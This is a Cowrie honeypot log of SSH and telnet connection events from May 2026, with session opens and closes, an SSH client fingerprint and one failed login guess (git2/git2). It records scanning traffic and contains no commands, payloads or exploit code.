{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:42.983842Z","src_ip":"135.235.138.43","session":"4e93590a6f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:43.765416Z","src_ip":"135.235.138.43","session":"4e93590a6f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81833529472351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:44.132740Z","src_ip":"23.111.140.22","session":"ea92f035c171","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:44.958151Z","src_ip":"135.235.138.43","session":"4e93590a6f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82648515701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:46.396877Z","src_ip":"23.111.140.22","session":"c23dcbfa2c8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45632,"dst_ip":"159.203.135.109","dst_port":23,"session":"57c84237f269","protocol":"telnet","message":"New connection: 174.138.46.234:45632 (159.203.135.109:23) [session: 57c84237f269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.106586Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52304,"dst_ip":"10.17.0.5","dst_port":23,"session":"252fddac1e2f","protocol":"telnet","message":"New connection: 23.111.140.22:52304 (10.17.0.5:23) [session: 252fddac1e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.399422Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50274,"dst_ip":"10.17.0.5","dst_port":23,"session":"32883d85bb0e","protocol":"telnet","message":"New connection: 23.111.140.22:50274 (10.17.0.5:23) [session: 32883d85bb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.610982Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35540,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8876530361","protocol":"telnet","message":"New connection: 23.111.140.22:35540 (10.17.0.5:23) [session: 3f8876530361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.676848Z"}
{"eventid":"cowrie.session.closed","duration":0.006447553634643555,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.683180Z","src_ip":"23.111.140.22","session":"3f8876530361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45810,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcf71978c014","protocol":"telnet","message":"New connection: 174.138.46.234:45810 (159.203.135.109:23) [session: dcf71978c014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.910434Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45816,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce5b683265b9","protocol":"telnet","message":"New connection: 174.138.46.234:45816 (159.203.135.109:23) [session: ce5b683265b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:47.932577Z"}
{"eventid":"cowrie.session.closed","duration":30.572847604751587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:48.344787Z","src_ip":"23.111.140.22","session":"73639f27f1a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45992,"dst_ip":"159.203.135.109","dst_port":23,"session":"172f0080b13a","protocol":"telnet","message":"New connection: 174.138.46.234:45992 (159.203.135.109:23) [session: 172f0080b13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:48.562518Z"}
{"eventid":"cowrie.session.closed","duration":37.99005436897278,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:49.320514Z","src_ip":"23.111.140.22","session":"685599a3996f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.01927185058594,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:49.560486Z","src_ip":"23.111.140.22","session":"149fdd39c672","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.894834756851196,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:50.484138Z","src_ip":"23.111.140.22","session":"dbf5586980af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45798,"dst_ip":"159.203.135.109","dst_port":23,"session":"f987fa333955","protocol":"telnet","message":"New connection: 174.138.46.234:45798 (159.203.135.109:23) [session: f987fa333955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:50.878524Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51742,"dst_ip":"10.17.0.5","dst_port":23,"session":"4490fd95d6a5","protocol":"telnet","message":"New connection: 23.111.140.22:51742 (10.17.0.5:23) [session: 4490fd95d6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:51.140062Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34652,"dst_ip":"10.17.0.5","dst_port":23,"session":"62faa4af6b53","protocol":"telnet","message":"New connection: 23.111.140.22:34652 (10.17.0.5:23) [session: 62faa4af6b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:52.312962Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38648,"dst_ip":"10.17.0.5","dst_port":23,"session":"98f8882f393e","protocol":"telnet","message":"New connection: 23.111.140.22:38648 (10.17.0.5:23) [session: 98f8882f393e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:52.654647Z"}
{"eventid":"cowrie.session.closed","duration":5.627112865447998,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:52.733564Z","src_ip":"174.138.46.234","session":"57c84237f269","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40638,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3b224f3ef13","protocol":"telnet","message":"New connection: 23.111.140.22:40638 (10.17.0.5:23) [session: b3b224f3ef13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:53.302614Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39050,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a8342fe31e","protocol":"telnet","message":"New connection: 23.111.140.22:39050 (10.17.0.5:23) [session: e6a8342fe31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:53.774297Z"}
{"eventid":"cowrie.session.closed","duration":5.91853404045105,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:53.850978Z","src_ip":"174.138.46.234","session":"ce5b683265b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412633180618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:54.544646Z","src_ip":"23.111.140.22","session":"fc4b7eae801b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51222,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc0b525a2706","protocol":"telnet","message":"New connection: 23.111.140.22:51222 (10.17.0.5:23) [session: bc0b525a2706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:56.951440Z"}
{"eventid":"cowrie.session.closed","duration":31.35287380218506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:58.043158Z","src_ip":"23.111.140.22","session":"68a72e804a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.708006858825684,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:58.377292Z","src_ip":"23.111.140.22","session":"d4c5d50719c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55204,"dst_ip":"10.17.0.5","dst_port":23,"session":"26281bf3d75c","protocol":"telnet","message":"New connection: 23.111.140.22:55204 (10.17.0.5:23) [session: 26281bf3d75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:58.450974Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae7478b38403","protocol":"telnet","message":"New connection: 23.111.140.22:56712 (10.17.0.5:23) [session: ae7478b38403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:58.952586Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52664,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4afa1ed55e2","protocol":"telnet","message":"New connection: 23.111.140.22:52664 (10.17.0.5:23) [session: b4afa1ed55e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:59.521131Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58506,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cf13e923f8","protocol":"telnet","message":"New connection: 23.111.140.22:58506 (10.17.0.5:23) [session: 28cf13e923f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:29:59.564122Z"}
{"eventid":"cowrie.session.closed","duration":31.801157236099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:00.613282Z","src_ip":"23.111.140.22","session":"156ec988134f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34818,"dst_ip":"10.17.0.5","dst_port":23,"session":"06929f1b6e66","protocol":"telnet","message":"New connection: 23.111.140.22:34818 (10.17.0.5:23) [session: 06929f1b6e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:01.141523Z"}
{"eventid":"cowrie.session.closed","duration":35.75423812866211,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:01.964294Z","src_ip":"23.111.140.22","session":"89aead43f0f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.312750816345215,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:02.280097Z","src_ip":"174.138.46.234","session":"95a489cab15b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.374135971069336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:03.024139Z","src_ip":"23.111.140.22","session":"2dd749513802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45699667930603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:03.078809Z","src_ip":"23.111.140.22","session":"be8682f635d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8817777633667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:03.779320Z","src_ip":"23.111.140.22","session":"6bc3e8c6dcd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.021340370178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:05.306505Z","src_ip":"23.111.140.22","session":"5c7992345ce6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549785614013672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:05.369468Z","src_ip":"23.111.140.22","session":"75a5000e0ca3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44846,"dst_ip":"10.17.0.5","dst_port":23,"session":"9af2fd0e393c","protocol":"telnet","message":"New connection: 23.111.140.22:44846 (10.17.0.5:23) [session: 9af2fd0e393c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:05.764242Z"}
{"eventid":"cowrie.session.closed","duration":31.191118717193604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:06.235931Z","src_ip":"23.111.140.22","session":"d2df15c8f695","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39600944519043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:07.192724Z","src_ip":"23.111.140.22","session":"3ab2ae743757","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52988,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a5286b03fe","protocol":"telnet","message":"New connection: 23.111.140.22:52988 (10.17.0.5:23) [session: 54a5286b03fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:07.544320Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47328,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab2c211865e8","protocol":"telnet","message":"New connection: 23.111.140.22:47328 (10.17.0.5:23) [session: ab2c211865e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:07.650134Z"}
{"eventid":"cowrie.session.closed","duration":31.809061527252197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:07.930753Z","src_ip":"23.111.140.22","session":"ea8f62f72dee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07571578025818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:08.057346Z","src_ip":"23.111.140.22","session":"0cdc774be83e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.296963691711426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:08.170052Z","src_ip":"23.111.140.22","session":"2f80d089495b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5786509513855,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:08.556564Z","src_ip":"23.111.140.22","session":"40f3ca922d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987301111221313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:08.719596Z","src_ip":"23.111.140.22","session":"e93bc618c669","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.422863721847534,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:10.352992Z","src_ip":"23.111.140.22","session":"7cfc9ad6a9a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003928661346436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:11.216819Z","src_ip":"23.111.140.22","session":"bae0932c2553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36440,"dst_ip":"10.17.0.5","dst_port":23,"session":"6869dd120501","protocol":"telnet","message":"New connection: 23.111.140.22:36440 (10.17.0.5:23) [session: 6869dd120501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:11.243748Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":46658,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0e7876adc8","protocol":"ssh","message":"New connection: 45.148.10.121:46658 (159.203.135.109:22) [session: cc0e7876adc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:11.632054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:11.642840Z","src_ip":"45.148.10.121","session":"cc0e7876adc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:11.730352Z","src_ip":"45.148.10.121","session":"cc0e7876adc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1092bfbf40a","protocol":"telnet","message":"New connection: 23.111.140.22:59310 (10.17.0.5:23) [session: d1092bfbf40a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:12.533513Z"}
{"eventid":"cowrie.session.closed","duration":51.193244218826294,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:13.052942Z","src_ip":"23.111.140.22","session":"e154f92e77f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43232,"dst_ip":"10.17.0.5","dst_port":23,"session":"42a4ca1d0aa5","protocol":"telnet","message":"New connection: 23.111.140.22:43232 (10.17.0.5:23) [session: 42a4ca1d0aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:16.561358Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52908,"dst_ip":"10.17.0.5","dst_port":23,"session":"62dcd8a7994e","protocol":"telnet","message":"New connection: 23.111.140.22:52908 (10.17.0.5:23) [session: 62dcd8a7994e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:16.855941Z"}
{"eventid":"cowrie.session.closed","duration":34.39872145652771,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:17.067238Z","src_ip":"23.111.140.22","session":"2734eb438e86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05210018157959,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:18.662976Z","src_ip":"23.111.140.22","session":"32883d85bb0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.22249126434326,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:19.621762Z","src_ip":"23.111.140.22","session":"252fddac1e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"713ab3a2d0cd","protocol":"telnet","message":"New connection: 23.111.140.22:32946 (10.17.0.5:23) [session: 713ab3a2d0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:19.846299Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33162,"dst_ip":"10.17.0.5","dst_port":23,"session":"a29aba5d2888","protocol":"telnet","message":"New connection: 23.111.140.22:33162 (10.17.0.5:23) [session: a29aba5d2888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:19.916046Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34290,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae86e52b8e7","protocol":"telnet","message":"New connection: 23.111.140.22:34290 (10.17.0.5:23) [session: eae86e52b8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:20.332476Z"}
{"eventid":"cowrie.session.closed","duration":31.08579182624817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:22.225719Z","src_ip":"23.111.140.22","session":"4490fd95d6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.482422590255737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:23.795267Z","src_ip":"23.111.140.22","session":"62faa4af6b53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36948,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb74fc074a5","protocol":"telnet","message":"New connection: 23.111.140.22:36948 (10.17.0.5:23) [session: feb74fc074a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:24.273171Z"}
{"eventid":"cowrie.session.closed","duration":30.900195360183716,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:24.674378Z","src_ip":"23.111.140.22","session":"e6a8342fe31e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56566,"dst_ip":"10.17.0.5","dst_port":23,"session":"583654374939","protocol":"telnet","message":"New connection: 23.111.140.22:56566 (10.17.0.5:23) [session: 583654374939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:25.000734Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51116,"dst_ip":"10.17.0.5","dst_port":23,"session":"5051b52d4d65","protocol":"telnet","message":"New connection: 23.111.140.22:51116 (10.17.0.5:23) [session: 5051b52d4d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:25.973998Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52222,"dst_ip":"10.17.0.5","dst_port":23,"session":"da779730012c","protocol":"telnet","message":"New connection: 23.111.140.22:52222 (10.17.0.5:23) [session: da779730012c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:26.418045Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46756,"dst_ip":"10.17.0.5","dst_port":23,"session":"723a6533dabc","protocol":"telnet","message":"New connection: 23.111.140.22:46756 (10.17.0.5:23) [session: 723a6533dabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:27.429756Z"}
{"eventid":"cowrie.session.closed","duration":34.78638434410095,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:27.440874Z","src_ip":"23.111.140.22","session":"98f8882f393e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57167625427246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:30:27.522966Z","src_ip":"23.111.140.22","session":"bc0b525a2706","protocol":"telnet"}
